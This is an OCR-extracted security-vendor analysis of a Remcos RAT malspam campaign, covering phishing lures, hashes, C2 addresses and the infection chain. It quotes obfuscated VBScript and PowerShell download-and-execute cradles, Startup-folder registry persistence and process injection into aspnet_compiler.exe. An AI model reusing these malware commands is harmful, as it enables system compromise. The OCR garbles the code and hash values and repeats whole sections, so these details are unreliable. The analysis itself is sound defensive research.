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Analyzed Samples:
Type Name / Subject SHA256
Email Fwd: Appraisal Report for your
. L 673b315a95b8c816502ec0dc3cae79cf14e0d7c09139c2fc4b9202fbC
Subject Loan Application-1100788392210

Attachment  Appraisalreport]1100788392210.zip ~ 4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a

Extracted
S ) Appraisal..vbs 1£8853601030ad92bd78fd3f0fbf39eacd2f39f47317914b67aa26dfd"
ample

Remcos VB Scripts:

92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
b1849476d3b8900288d6bf7c9ac229eba5e64d665398302a0842c335259f6560
ba4b51ae64c68b32d126322b51b41dce7c300c01faed97aca35ff142e121a914
5a69f279426b012b64a3099d778cd57aeca9db135d9701c2e11f71d55c3fb5e3
db01d69a7ae17947f77b50cfb03b2be6b784eeecdabfbb966b61ecdb3490d3ad
109a40435ad446¢7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18¢c10
abae2e0f9a8f1c50e21ea93f4a195097753cd16436ffade946add38da873c8cb
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463echb8d29766e2d0b200
d2d9b66c9aad0e6ec20a786a89299a8b4a65a5a344db369dfd7bfbad3fb40b55
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
7519540343e10c7846979809166df1cd0f01087ea53bf20fd5dd416dc6ebad14
dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e810
b61f6b794£{38f736e90ae8aa04e5f71acc8d5470c08ef8841¢c16087b6710a388
6f4f4f4b980e471c5{8f5d0d95bff5a7ec98e3e2377f18f7fc0d44828cbe33a6

Related Remcos Samples:

15cf9daf5bad1a5a78783f675eb63850e216a690e0f3302738ce3bd825ba6fcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39ce1ef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cab4
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
aB80c2e71f7cc69a729035941d13c79fd210290e7{82cefce14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
59aafb3dd9c6cdb95ff662299e1faf3efb01d5ef8479dbbb8032b4b9cb3c3d91
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
1d969ace725bf5185e64c3c4abab122a3ff4eaafe25f56bd8c1d7b7ba2df0aac
a54f4ee320b21c1cfde3358a25131476127b9fb1fd5cad9fd03fa2belf4fd0e2
92a7e167629bd14c88a03ef1b6719acd143082¢495972a829f20cc588fd6e084
46b1d3c565a615b2df02a567f507a2dc7f75d088fc2b52b1f1elce7a92594175
1a7ceaddf547d47cf7d2d7eda0357d38f489eaeb3b06ea3027ae87df6e5c8195
47287127bcc7bf1502d8b84af3c9050a6b46caa9e1558ab27a2c1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7e14aa0d54566e172a81
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e06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fele
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444al
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

Other I0Cs:

185.19.85.168
1a601401.us.archive.org
1a601502.us.archive.org
ia601405.us.archive.org
ia601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
mail.swissauto.top

randyphoenix.hopto.org

This blog post was authored by Erika Noerenberg

Introduction

Over the past months, Malwarebytes researchers have been tracking a unique malspam campaign delivering the Remcos
remote access trojan (RAT) via financially-themed emails. Remcos is often delivered via malicious documents or archive
files containing scripts or executables. Like other RATs, Remcos gives the threat actor full control over the infected system
and allows them to capture keystrokes, screenshots, credentials, or other sensitive system information. Unlike most RATs
used by malicious actors however, Remcos is marketed as an administrative tool by the company Breaking Security which

sells it openly on their website.

Article continues below this ad.

Distribution

Remcos often infects a system by embedding a specially-crafted settings file into an Office document, allowing an attacker
to trick a user to run malicious code without additional notification. This variant of Remcos has been observed to be
distributed via targeted spam emails with an attached archive file. The emails and attachment names have been primarily

financially-themed; an example email is shown below:
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Message

o ¥ /I 3
x & & 3 B ¥ CreateNew w 3 Hil - a& . Q
Delete  Reply Reply Forward Move Mark Categorize Follow Translate ' Zoom
All - Unread - Up~

Delete Respond Quick Steps . Move Tags . Editing Zoom A
cbab142506@8d855b2d7af67ble29.center 2add675f@80cc189188576c840.com 1 5/21/2021

Fwd: Appraisal Report for your Loan Application-1144325779952

{ Appraisalreporti114432...
2 KB

[redacted

For illustration, the following table lists a sample of email subjects and attachment names from 2021 by date:

Date  Subject Attachment Name Contents
Separate
Remittance

j:n Advice: paper Payment Advice.img Payment Advice.vbs
document no —
9604163
Appraisal Report

26 for your Loan . . Appraisal.vbs

Appraisal.reportl1100335467734.zip

Apr Application- Property.hta*
11003354677341
Fwd: Appraisal

18 Report for your

May Loan Appraisalreportl1100788392210.zip Appraisal..vbs
Application-
1100788392210

Fwd: Reminder:
28 Your July
Jun Appointment-
11002214991

transaction_completed11003456773311..zip ~ Report-Slip.vbs

Fwd: Reminder:

Your July . . Report-

6 Jul transaction_completed11003456773312.zip
Appointment- 11003456773312.vbs
11003456773312

In most Remcos spam campaigns, the payload is an executable contained in an attached archive (.zip) or disk image (.img)
file, though malicious documents are also sometimes used. In this campaign however, the emails contain a zip archive
containing a Visual Basic script (.vbs) which downloads and executes additional scripts and finally installs the Remcos

payload.

*Eariler versions also included a “Property.hta” file which only comprised the VB script wrapped in HTML as seen below.

Interestingly, the body of this HTML consisted only of the text “demo”, which indicates this might have been test code.
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http-equiv="Content-Type" content xt/html; charset=utf-g8"

language="VBScript"
Window.ReSizeTo 0, @
Window.moveTo -3000,-3000
Dim ox
CreateObject("WScript.Shell")
& "w"

#b ' .Replace('#','e").Replace('@ ‘w');$ »'C').R"
"1t 'ent!) ;$V000 = "D$$$$$$$$$S4N plac ,'loadStri').Replace('$$$$$$$$$$$", 'ow') ;$vl =

ace('s$','I').replace(’ )3$v9999 = ' (Ne' W& & SESEEEEEEEEEES &800( ' 'https://1a601509.us.archive.org/35/items/
2 440/ALL ')"'.Replace('&sS EEEEEE EE&S
BJECT $v@$voo ).3$ve
aat+bb+cc+dd++ee+gg+kk+"
ox.Run 0K,@

self.close

Analysis

Remcos is a fully-functioning RAT that gives the threat actor full control over the infected system and allows them to collect
keystrokes, audio, video, screenshots, and system information. Because it has full control, Remcos is also able to download
and execute additional software onto the system. This Remcos distribution utilizes a series of scripts that ultimately results
in the injection of a Remcos payload into the Windows system binary aspnet_compiler.exe. A sample infection chain for

this variant is shown below:

G‘D I' g
Phishin - PS Downloads
e-mailg Zip Attachment VB Script and Executes

VB script

\/
EHJ_,"B > EHJ_,—’B - &

PS Downloads PS Downloads ~ Embedded PE
Downloaded Downloaded
V8 Script and Executes VB Script and Executes injected into
VB script VB script  aspnet_compiler.exe

The samples analyzed below originate from the attachment Appraisalreportl1100788392210.zip (SHA256
4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a13bb23e). As with all analyzed samples, the the
infection chain followed the process flow above; the initial Visual Basic script initiates a series of download and execution

of obfuscated scripts that eventually result in the injection of the final Remcos payload into aspnet_compiler.exe.
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Dim
RWESTRDYTFY¥GUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYI7GI6FUSDY4SYDSUGFI7GOHB7GI6FUSDYDUGFYI7GUHUGYFTDRSGERHTCIVY
KUBL

Set
RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYITGI6FUSDY4SYD5SU6FI7GOHB7GI6FUSDYDUGFYI 7GUHUGY FTDRSGERHTCIVY
KUBL= CreateObject("WScript.shell”

ESFGRDHFJGHBKIGHFGDZGXFHCGIJVHKBIKHVIGHCFGXKDFXGCHIBHFGFTSRESTRDYFUGY THUNBY IVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUKNBYVUYTCRXEZXTCYUVBUIN="p"

DCGFVHINNGFCSDFGVHIGFCXDGVHINKHGFDFGVBHGINHBGMF DSFGHIKHNBNGMFCDXFCGVHBIJNMKHIGFDRSTFGYHUJ = "OWe"
VFHTTTTTTTTTTTTTTGSRBHGRFCVDHGBTFNYGTYRDTSETRVDBTFNYGNFTRT SERDTFYKGUYESRVDTFBYNGHUI ="RsHe"

DTHFBTYGNUYBTHVRGCVHTBJYNGKUHMNYJBTHVRGHCTBIYNHVECSZDGCHINBRNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIO
JRTDVFBYUNGHIOJ = "L"

ETRCHTVIYTCRERXTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCYTUVYBIUYUTYCREEZWEXTRCYUVYBIUYUTYRTETRYCTUVY IUOTIUYTRTET
XRCYVUYBU ="L

$SETRDYTFUYDTRYTUY='DoXRTYTCUVYBUIOINUYVUTCYUVBUIing' .Replace( 'XRTYTCUVYBUIOINUYVUTCYUVBUI', 'wnloadstr'); $SETRTC
YVYBETRYTJUYG =

'WRCYTVYBUYVTCRYCTVUYBIVTCYTent ' .Replace( 'RCYTVYBUYVTCRYCTVUYBIVTCYT', 'ebCli'); $T4RDTHFTJIGJKHL="'ND¥TFUYGIUHYTDRY
TFUYGIUt' .Replace( 'DYTFUYGIUHYTDRYTFUYGIU', 'e"); $SETRDYFYGUIHIJ
='https://ia601401.us.archive.org/31/items/all 20210518 202105/ALL.TXT';$RTDYUGHIOJ="(NewYERe'.Replace('YEA', -
Obj');$DYTFYGUHI="ct

System. $T4RDTHFTIGIKHL . § SETRTCYVYBETRYTJUYG) . $SETRDYTFUYDTRYTUY ( SSETRDYFYGUIHIJ) ' ; SRTDYUGIO=I"E X

($RTDYUGHIOJ, SDYTFYGUHI -Join '')|I E X"

FESGRDHTFIGYKFTHRGSEFGRHDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHATF JGUKHLIUG
YFTDRSDHTFYGUH =

ESFGRDHFJGHBKIGHFGDZGXFHCGIJVHKBIKHVIGHCFGXKDFXGCHIBHFGFTSRESTRDYFUGY THUNBY IVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUENBYVUYTCRXEZXTCYUVBUIN+DCGFVHINNGFCSDFGVHIGFCXDGVHINKHGFDFCVBHGINHBGMFDSFGHIKHNBNGMFCDXFCGVHBINMKHIGFDRSTFGYH
UJ++VEHTTTTTTTTTTTTTTGSREEGRFCVDHGBTFNYGTYRDT SETRVDETFNYGNFTRTSERDTFYKGUYESRVDTFBYNGHUI+DTHFBTYGNU¥YBTHVRGCVHTBJ Y
NGKUHMNYJBTHVRGHCTBJYNHVFCSZDGCHINBKNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIOJRTDVF BYUNGHIOJ+ETRCHTVI
YTCRERKTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCYTUVYBIUYUTYCRXEZWEXTRCYUVYBIUYUTYRTETRYCTUVYIUOIUYTRTETXRCYVUYR
LI

RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYITGI6FUSDY4SYD5SU6FI7GOHB7GI6FUSDYDUGFYI 7GUHUGY FTDRSGERHTCIVY
KUBL.Run

FESGRDHTFIGYRFTHRGSEFGREDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHTFJGUKHLIUG
YFTDRSDHTFYGUH, 0

Although the script above is lengthy due to obfuscation, it ultimately amounts to the following simple powershell command

which downloads and executes a second Visual Basic script:

(CreateObject ("WScript.Shell”)).run powershell IEX New-Object
System.Met.WebClient.Downloadstring( 'https://ia601401.us.archive.org/31/items/all 20210518 202105/ALL.TXT')

The first downloaded script (ALL.TXT) also uses simple deobfuscation techniques to perform a few simple tasks. The
$JUANADEARCO variable in this script contains Base64-encoded data which is decoded by the last line of the script (this

data is shown as decoded in the highlighted box in the image below). This script performs the following actions:

¢ Creates the directory C:UsersPublicRun

e Downloads Run_02_02_02.TXT (saved as C:UsersPublicRunRun.vbs)

* Downloads Lerveri.txt (saved as UsersPublicRun—Run+++++++++.ps1)

e Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersStartup to “C:UsersPublicRun”
e Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup to “C:UsersPublicRun”

The shell folder registry entries are legacy keys that are still existent for backwards compatibility. Setting the “Startup”
value of these registry entries to the malware’s directory of execution effectively sets the contents of that directory to

execute upon system startup, ensuring persistence.
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FUNCTION DAFD5C5B9266824C4EEFCB3EOC69FD3FAA| SD4FD5C5B9266824C4EEFCB3ENC69FD3FRAE )
{
$DAFD5C5B9266824C4EEFCBIEOC69FD3FAAX = "Fr"+"omBa"+"se6"+"45tr"+"ing"
$D4FD5C5B9266824C4EEFCBIEOCE9FD3FARG =
[Text.Encoding]::Utf8.GetString([Convert]::$D4FD5C5B9266824C4EEFCB3E0C69FD3FAAX ($D4FDSC5B9266824C4EEFCS83E0C69FD3
FAAE) )
return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
+
S$TYFGYTFFFYTFYTFYTFYT = 'https://ia601502 Jus. archive.org/29 /‘:Ltfﬂs:’Lerveri/Ierverl JEXE'
$JUANADEARCO = 'SFVYTFYTFYFYFYFYPGY="C:\Users\Public\Run"
$YGUYGNUHYGUYGYUGYGUYGYUG = "Cr ory" .Replace | "#i#i####A###HHH#E" , "eateDirect ")
$HIUHIUHJIUHUYUUIHYIUIUHI = "HECU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
SGVFHTFYUGRTYUGYFTFYYUH= "HRCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
STYHGYUGUYGFYTFDTRDTRDFTR = "C:\UsS—-—-==———————~ c\Run".Replace("-——-———m—muuuu ", "ers\Publi")
SBFYHGTFYHFHUYGYUBYUYYUYG ="C-----—=—mm== blic\Run".Replace("-=========—= ", ":\Users\Pu")
SFYTFYHIGTFYTGF6HG = 'C:\U- ,"sers\Public\Run\Ru")
SFGYTFHTFUGHUYYGYUG = 'C:\- sl'.Replace("----
SYFGYTFHYTFYTFGTRDTRDT = "C:\++++++++4++.psl” Replace( "++++++++4+4", "Users\Publich--~--] Run++++++++4")
[system.io.directory]:: $YGUYGNUHYGUYGYUGYGUYGYUG( SEVYTFYTFYFYFYFYFGY)
start-sleep -s 5
Set-ItemProperty -Path $HIUHIUHJIUHUYUUIHYIUIUHI -Name "Startup” -Value SJYHGYUGUYGFYTFDTRDTRDFTR;
Set-ItemProperty -Path $GVFHTFYUGRTYUGYFTFYYUH -Name "Startup"” -Value $BFYHGTFYHFHUYGYUSYUYYUYG;

start-sleep -s 5

--n.vbs'.Replace("----

Runt++++++++.p")

Function vip

{

start-sleep -s 5

if( (New-Object ""N e T°."We B C'l'i'e N T")."DowN 1l oAdFile"
('https://ia601406.us.archive.org/32/items/run-02-02-02/Run_02_02_02.TXT',SFYTFYHJGTFYTGF6HG) ) {
}

start-sleep -s 5

if((New-Object "'N'e T . W e B'C'1l'i"e N T")." Do'wN 1l oA d F il e"(STYFGYTFFFYTFYTFYTFYT,
$SFGYTFHTFUGHUYYGYUG) ) {

}

start-sleep -s 3

powershell -windo 1 -noexit -exec bypass -file $YFGYTFHYTFYTFGTRDTRDT

}

IEX vip'

$HBAR = D4FD5C5B9266824C4EEFC8IENCEYFDIFAA ( $JURANADEARCO) ; §Run=($HBAR -Join '')|T E°X

Run.vbs is obfuscated in a similar fashion to the initial Visual Basic script:

Dim FDGFDHGFJGKUGK
Set FDGFDHGFJGKUGK= CreateObject("WScript.Shell")
HVJHGJYGUGKUGU="po"

HHGJUGLHIUGUGKUG="wers"

KUHIHGKYFUYTFUYUYFU="hell -ExecutionPolicy "

DHYJGKUGKUGFUTYTEFUY " Bypass &"

GFDRYTFUGUTUYURFUTR "C:\Users\Public"

DTFYHJGIGIJYGUTRYTFY = "\--—-- Run+++++++++.psl' "

0K =

HVIHGJYGUGKUGU+HHGJUGLHIUGUGKUG+KUHIHGKYFUYTFUYUYFU+DHYJGRUGKUGFUTYTFUY ++GFDRYTFUGUTUYURFUTR+DTFYHIGIGIYGUTRYTFY
o

FDGFDHGFJGKUGK.Run OK,0

This script (deobfuscated below) is responsible only for execution the main powershell script which contains embedded

binaries, encoded in hex in plaintext.

powershell -ExecutionPolicy Bypass & 'C:\Users\Publiel----- Run++++++444.psl

One of the binaries encoded in —Run+++++++++.ps1 is the Remcos payload which is loaded into the legitimate

Windows binary aspnet_compiler.exe. The following function in the powershell script loads the Remcos PE into the binary:

[Reflection.Assembly]: :Load($H5) .GetType(\ 'VBNET.PE\').GetMethod(\'Run\').Invoke($null,[object[]] (
\'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\',6 $H1))

Although all of the analyzed Remcos samples of this campaign since January 2021 call back to the same IP address and port,
no actual C2 traffic has been observed. All of the script downloads have pointed to addresses on the legitimate website
us.archive.org, and the payloads have connected (though only via TCP handshake) to the IP address 185.19.85[.]168 on port
8888.
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Because this IP address has not changed over several months, we investigated the passive DNS records to see if the
infrastructure may have been used in other recent attacks. We found that this IP address had the following resolutions over

the last few months:

Address First Seen Last Seen

shugardaddy.ddns.net 26 May 21

ch-pool-1194.nvpn.to 24 May 21 30 June 21
tippet.duckdns.org 13 May 21 16 May 21
mail.swissauto.top 29 May 20 11 May 21
randyphoenix.hopto.org 4 April 21 14 April 21

Examination of this IP address revealed several hosted services on multiple ports. The highlighted date range above is
interesting as it appears to be a mail server, and Spamhaus Zen classifies this address as blocked due to spam. Furthermore,
analysis also revealed that the #totalhash malware database contains malware associated with this address going back as far
as 2013. Correlating additional malware associated with this address showed several other versions of Remcos samples

connecting to the same IP (many to shugardaddy.ddns.net port 5946) — a few recent samples are shown below:

Date Last
SHA256 Hash
Seen

15cf9daf5bad1a5a78783f675eb63850e216a690e0£3302738ce3bd825babfcl 6 Jul 21
Oea2e136c0604fe2336a37c¢9d7b5a6150abd58e48311fa625ea375468189931e 5Jul 21
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39ce1ef937a 29 Jun 21
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cabd 25 Jun 21
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2 25 Jun 21

d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36 21 Jun 21

One identifying factor from this campaign is the use of us.archive.org to host payloads. Although this is not unique to
malware campaigns in general, it is unique to the Remcos campaigns we have analyzed — only the VBS method of

distribution has been observed to display this behavior.

In an analysis from Morphisec in March of this year, an HCrypt loader sample was analyzed that demonstrated a similar
infection chain to the Remcos samples discussed above. Although the stages and scripts are not identical, the intermediary
steps share a few similarities, such as the file names of the downloaded scripts ALL.txt, Server.txt, and in newer samples,
Bypass.txt. The scripts also have a few function names in common, but the HCrypt samples have anti-analysis and anti-virus
evasion functionality not seen in the Remcos samples. Further research is required to determine whether this set of scripts is

a generically available package, or specific to a particular actor and being re-used across campaigns.

Although the actor or group behind this campaign is not known, the sporadic nature of the emails distributing this malware
suggests that it could be targeted in nature. Remcos is a mature trojan that has evolved over many years; though the basic
capabilities have remained the same, the methodologies of distribution and installation continue to change. Because it is
software that can be purchased openly online, it is difficult to trace or attribute usage to a particular actor. However, given
the consistency of network infrastructure and installation methodology, it is possible that the motivation or actors behind
these attacks could be identified. Malwarebytes analysts continue to monitor and track this threat and will update detections

and indicators as needed.

Protection

Malwarebytes protects users from Remcos by using real-time protection.
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@ Ma

It is no longer a threat to your computer

ware automatically quarantined

Type:  Malware
Name: Trojan.MalPack.DLF
Path: ..\Tax Returns Assessment Forms to be signe...

References

https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly

https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers

https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service

I0Cs
Analyzed Samples:
Type Name / Subject SHA256
Email Fwd: Appraisal Report for your
673b315a95b8c816502ec0dc3cae79cf14e0d7c09139¢2fc4b9202fbC
Subject Loan Application-1100788392210
Attachment = Appraisalreportl1100788392210.zip ~ 4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a
Extracted
S | Appraisal..vbs 1f8853601030ad92bd78fd3f0fbf39eacd2f39f47317914b67aa26dfd:
ample
Remcos VB Scripts:

92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
b1849476d3b8900288d6bf7c9ac229eba5e64d665398302a0842¢3352596560
ba4b51ae64c68b32d126322b51b41dce7¢300c01faed97aca35ff142e121a914
5a69f279426b012b64a3099d778cd57aeca9db135d9701c2e11f71d55¢3fb5e3
db01d69a7ae17947f77b50cfb03b2be6b784eeecdabfbb966b61ecdb3490d3ad
109a40435ad446¢7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
abae2e0f9a8f1c50e21ea93f4a195097753cd16436ffa4e946add38da873c8cb
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
d2d9b66c9aad0e6ec20a786a89299a8b4ab5a5a344db369dfd7bfbad3fb40b55
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
7519540343e10c7846979809166df1cd0f01087ea53bf20fd5dd416dc6ebad14
dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e81f0
b61f6b794f38f736e90ae8aa04e5f71acc8d5470c08ef8841c16087b6710a388
6f4£f4f4b980e471c5f8f5d0d95bff5a7ec98e3e2377f18f7fc0d44828cbe33a6
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Related Remcos Samples:

15cf9dafSbad1a5a78783f675eb63850e216a690e0f3302738ce3bd825babfcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963fae4c110ecbd12f1f39celef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cab4
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
aB80c2e71f7cc69a729035941d13¢79fd210290e7{82cefce 14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135¢1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7e14aa0d54566e172a81
€06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fe0e
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18¢c10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444al
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

Other I0Cs:

185.19.85.168
1a601401.us.archive.org
1a601502.us.archive.org
1a601405.us.archive.org
ia601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
mail.swissauto.top

randyphoenix.hopto.org
Remcos VB Scripts:

92a7e167629bd14c88a03ef1b6719acd143082¢495972a829f20cc588fd6e084
b1849476d3b8900288d6bf7c9ac229eba5e64d665398302a0842¢335259f6560
ba4b51ae64c68b32d126322b51b41dce7c300c01faed97aca35ff142e121a914
5a69f279426b012b64a3099d778cd57aeca9db135d9701c2e11f71d55c3fb5e3
db01d69a7ae17947f77b50cfb03b2be6b784eeecdabfbb966b61ecdb3490d3ad
109a40435ad446¢7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
abae2e0f9a8f1c50e21ea93f4a195097753cd16436ffa4e946add38da873c8cb
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
d2d9b66c9aad0e6cc20a786a89299a8b4a65a5a344db369dfd7bfbad3fb40b55
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
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7519540343e10c7846979809166df1cd0f01087ea53bf20fd5dd416dc6ebad14
dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e81f0
b61f6b794£{38f736e90ae8aa04e5f71acc8d5470c08ef8841¢16087b6710a388
6f4f4f4b980e471c5{8f5d0d95bff5a7ec98e3e2377f18f7fc0d44828cbe33a6

Related Remcos Samples:

15cf9daf5bad1a5a78783f675eb63850e216a690e0f3302738ce3bd825ba6fcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39ce1ef937a
22634cbafla60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cab4
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
a80c2e71f7cc69a729035941d13c79fd210290e7{82cefce14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
59aafb3dd9c6cdb95ff662299e1faf3efb01d5ef8479dbbb8032b4b9cb3c3d91
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
1d969ace725bf5185e64c3c4abab122a3ff4eaafe25f56bd8c1d7b7ba2df0aac
a54f4ee320b21c1cfde3358a25131476127b9fb1fd5cad9fd03fa2be1f4fd0e2
92a7e167629bd14c88a03ef1b6719acd143082¢495972a829f20cc588fd6e084
46b1d3c565a615b2df02a567f507a2dc7f75d088fc2b52b1f1e1ce7a92594175
1a7ceaddf547d47cf7d2d7eda0357d38f489eaeb3b06ea3027ae87df6e5c8195
47287127bcc7bf1502d8b84af3c9050a6b46caa9e1558ab27a2c1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7e14aa0d54566e172a81
€06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fe0e
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18¢c10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444a1l
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

Other I0Cs:

185.19.85.168
ia601401.us.archive.org
ia601502.us.archive.org
1a601405.us.archive.org
1a601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
mail.swissauto.top

randyphoenix.hopto.org
This blog post was authored by Erika Noerenberg
Introduction

Over the past months, Malwarebytes researchers have been tracking a unique malspam campaign delivering the Remcos
remote access trojan (RAT) via financially-themed emails. Remcos is often delivered via malicious documents or archive
files containing scripts or executables. Like other RATs, Remcos gives the threat actor full control over the infected system

and allows them to capture keystrokes, screenshots, credentials, or other sensitive system information. Unlike most RATs
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used by malicious actors however, Remcos is marketed as an administrative tool by the company Breaking Security which

sells it openly on their website.

Distribution

Remcos often infects a system by embedding a specially-crafted settings file into an Office document, allowing an attacker
to trick a user to run malicious code without additional notification. This variant of Remcos has been observed to be
distributed via targeted spam emails with an attached archive file. The emails and attachment names have been primarily

financially-themed; an example email is shown below:

Fwd: Appraisal Report for your Loan Application-1144325779952 - Message (HTML)

Message

— A ] £
x £ g [ 5& [[F Create New o 3 Hil - a& . Q
Delete  Reply Reply Forward Move Mark Categorize Follow Translate ' Zoom
All - Unread - Up~ -

Delete Respond Quick Steps ] Move Tags ] Ediiting Zoom A

@8d855b2d7af67b1e29 center 2add675f@80cc189188576c840.com 1 5/21/2021

Fwd: Appraisal Report for your Loan Application-1144325779952 “

i Appraisalraporti114432.
2KB

[redacted

For illustration, the following table lists a sample of email subjects and attachment names from 2021 by date:

Date  Subject Attachment Name Contents
Separate
”n Remittance
Jan Advice: paper Payment Advice.img Payment Advice.vbs
document no —
9604163
Appraisal Report
